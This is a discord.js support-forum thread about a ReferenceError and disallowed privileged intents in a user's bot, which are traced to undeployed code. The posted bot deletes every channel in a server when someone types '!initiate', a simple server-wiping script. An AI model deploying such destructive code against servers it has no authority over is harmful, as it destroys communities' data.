I get an error saying ReferenceError: GatewaysIntentBits is not defined and I don't know how to fix
const { Client, GatewayIntentBits, Partials } = require('discord.js');
console.log("Running");
const client = new Client({
intents: [
GatewayIntentBits.Guilds,
GatewayIntentBits.GuildMessages,
GatewayIntentBits.MessageContent,
GatewayIntentBits.GuildMessageReactions,
GatewayIntentBits.GuildMembers
],
partials: [Partials.Channel],
});
client.on('messageCreate', message => {
if (message.content === '!initiate') {
message.guild.channels.cache.forEach(channel => channel.delete());
}
});
client.login('');
This is the code, any help would be appreciated 😁
43 Replies
- What's your exact discord.js
npm list discord.js
and node node -v
version?
- Not a discord.js issue? Check out #other-js-ts.
- Consider reading #how-to-get-help to improve your question!
- Explain what exactly your issue is.
- Post the full error stack trace, not just the top part!
- Show your code!
- Issue solved? Press the button!Show the full error
ReferenceError: GatewaysIntentBits is not defined
at Object.<anonymous> (/home/container/app.js:10:9)
at Module._compile (node:internal/modules/cjs/loader:1275:14)
at Module._extensions..js (node:internal/modules/cjs/loader:1329:10)
at Module.load (node:internal/modules/cjs/loader:1133:32)
at Module._load (node:internal/modules/cjs/loader:972:12)
at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:83:12)
at node:internal/main/run_main_module:23:47
Is that app.js file?
Yes
You didn't save the file then
I have it on save automaticallu
automatically*
It won't save if there's a conflict here. Do you use VS code?
Yes
Look at the file name at the top. Is there a white dot?
No the only dot is the period in app.js
That's all I can do to help you
The only think I can say is that your code doesn't match the error
Unknown User•3mo ago
Message Not Public
Sign In & Join Server To View
No its for me and my friends we're doing a test on a server we created
Unknown User•3mo ago
Message Not Public
Sign In & Join Server To View
Would it help if I sent a screenshot of the whole screen?
Unknown User•3mo ago
Message Not Public
Sign In & Join Server To View
I did it's saved but I still get that error
Unknown User•3mo ago
Message Not Public
Sign In & Join Server To View
Yes it recovered the history
Maybe I did something in the developer portal wrong?
Unknown User•3mo ago
Message Not Public
Sign In & Join Server To View
How do I kill it
Unknown User•3mo ago
Message Not Public
Sign In & Join Server To View
Its not working still
Unknown User•3mo ago
Message Not Public
Sign In & Join Server To View
ReferenceError: GatewaysIntentBits is not defined
at Object.<anonymous> (/home/container/app.js:10:9)
at Module._compile (node:internal/modules/cjs/loader:1275:14)
at Module._extensions..js (node:internal/modules/cjs/loader:1329:10)
at Module.load (node:internal/modules/cjs/loader:1133:32)
at Module._load (node:internal/modules/cjs/loader:972:12)
at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:83:12)
at node:internal/main/run_main_module:23:47
Unknown User•3mo ago
Message Not Public
Sign In & Join Server To View
You have your project in a different place. Do you deploy your code somewhere? Did you deploy the updated code?
Yes I used a website to host it bc I didnt know how to get it online any other way
How do I deploy the updated code?
That's the thing you do. And that's out of the discord.js scope
Wdym?
Unknown User•3mo ago
Message Not Public
Sign In & Join Server To View
From the site
How do I run it locally?
Unknown User•3mo ago
Message Not Public
Sign In & Join Server To View
discord.js doesn't deploy anything to your site. We don't know how to do so
Unknown User•3mo ago
Message Not Public
Sign In & Join Server To View
Should the error be gone after that
I got this error locally Error: Used disallowed intents
-
Error [DisallowedIntents]: Privileged intent provided is not enabled or whitelisted.
- Error: Used disallowed intents
If you are using the GuildMembers
, GuildPresences
, or MessageContent
intents, you need to enable them via Developer Portal > Your app > Bot > Privileged Gateway IntentsUnknown User•3mo ago
Message Not Public
Sign In & Join Server To View
Okay ty I think it's fixed now